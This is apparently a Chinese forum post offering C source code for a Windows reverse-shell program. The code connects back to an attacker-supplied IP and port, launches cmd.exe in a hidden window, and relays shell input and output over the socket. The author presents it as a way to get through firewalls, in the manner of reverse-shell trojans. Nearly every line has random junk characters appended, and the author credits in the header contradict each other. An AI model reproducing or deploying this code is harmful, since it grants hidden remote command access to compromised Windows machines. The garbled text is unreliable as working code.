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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ! weYOOu  
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/* ============================== 6 T~+vT  
Rebound port in Windows NT Kg2@]J9m  
By wind,2006/7 (AA@ sN  
===============================*/ :, H_ e! X  
#include .Sw4{m[g  
#include 5C*Zb3VG4  
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#pragma comment(lib,"wsock32.lib") !#]kzS0  
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void OutputShell(); }T902RL0  
SOCKET sClient; vQXF$/S  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ,agkV)H  
Yy[=E\z  
void main(int argc,char **argv) ^+~$eg&js  
{ y'f-4E<  
WSADATA stWsaData; "AJ>pU3  
int nRet; hHw1<! M  
SOCKADDR_IN stSaiClient,stSaiServer; 8_>:0(y  
;/m>c{  
if(argc != 3) Y uZ  
{ S WsD]rn  
printf("Useage:\n\rRebound DestIP DestPort\n"); 9|>y[i  
return; jj ` 0w@  
} T2W^4)  
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WSAStartup(MAKEWORD(2,2),&stWsaData); T;3~teVYB  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vA*NJ%&`  
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stSaiClient.sin_family = AF_INET; *sfz+8Y  
stSaiClient.sin_port = htons(0); !5m~qet.  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); v/KTEM  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ]6=opvm  
{ g+.E=Ef8<4  
printf("Bind Socket Failed!\n"); aM[fag$c  
return; &U.y):  
} H-5f!>)  
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stSaiServer.sin_family = AF_INET; =|-xj h  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); F+xMXBD@>*  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); T^ xp2cZ  
*=E4|>Ul,  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) r Z5eXew6  
{ 0Z%<H\Z  
printf("Connect Error!"); 9D%~~~ %b  
return; Q"xDRQA  
} jT QN(a9Y  
OutputShell(); *OE>gg&?Nh  
} a~tBgy+9  
g=v[@{9Pw  
void OutputShell() E\}Q9, Z$  
{ C$c.(5/O  
char szBuff[1024]; 5o(=?dXm4  
SECURITY_ATTRIBUTES stSecurityAttributes; 78b9Sdi&  
OSVERSIONINFO stOsversionInfo; =(k0^ #++G  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; hU2 N{Ac  
STARTUPINFO stStartupInfo; e8]mdU{)  
char *szShell; H~*[v"  
PROCESS_INFORMATION stProcessInformation; &P8Q|A-u  
unsigned long lBytesRead; f;ycQc@f  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); VKrKA71Z~  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); / dn]`Ge)  
stSecurityAttributes.lpSecurityDescriptor = 0; R91u6r#  
stSecurityAttributes.bInheritHandle = TRUE; 3^ &pb  
t;ga>^NA"  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); p7O4CP>9[  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); p/s5[>N  
:(x 90;DW  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); /%N~$ &wW  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `V0]t_*D  
stStartupInfo.wShowWindow = SW_HIDE; Md m(xUs  
stStartupInfo.hStdInput = hReadPipe; {la ^useg[  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; :Ws3+OI'm3  
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GetVersionEx(&stOsversionInfo); r>q`# ~  
|b7>kM}"  
switch(stOsversionInfo.dwPlatformId) mKq9mA"(E  
{ `Op ";E88  
case 1: 7,LT4wYH  
szShell = "command.com"; }#u}{  
break; L,X6L @Q  
default: 9k"nx ,"  
szShell = "cmd.exe"; +~/zCJ;F  
break; \J\1i=a-=  
} CblL1q8  
|s`q+ U-  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); m :^,qC  
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send(sClient,szMsg,77,0); eaiz w@N  
while(1) Cw^)}23R  
{ EGMcU| yL  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Yc5$915  
if(lBytesRead) O "h+i>|l  
{ n:!J3pR  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); XJ NKM~  
send(sClient,szBuff,lBytesRead,0); *'t`;m~  
} !kKKJ~,;  
else O 1X !  
{ 2Uk8{d  
lBytesRead=recv(sClient,szBuff,1024,0); %yrP: fg/  
if(lBytesRead<=0) break; D 7E^;W)H  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); |)_<JAN  
} jKQP0 t-  
} XF$C)id2p  
nW%c95E  
return; +1623E  
}
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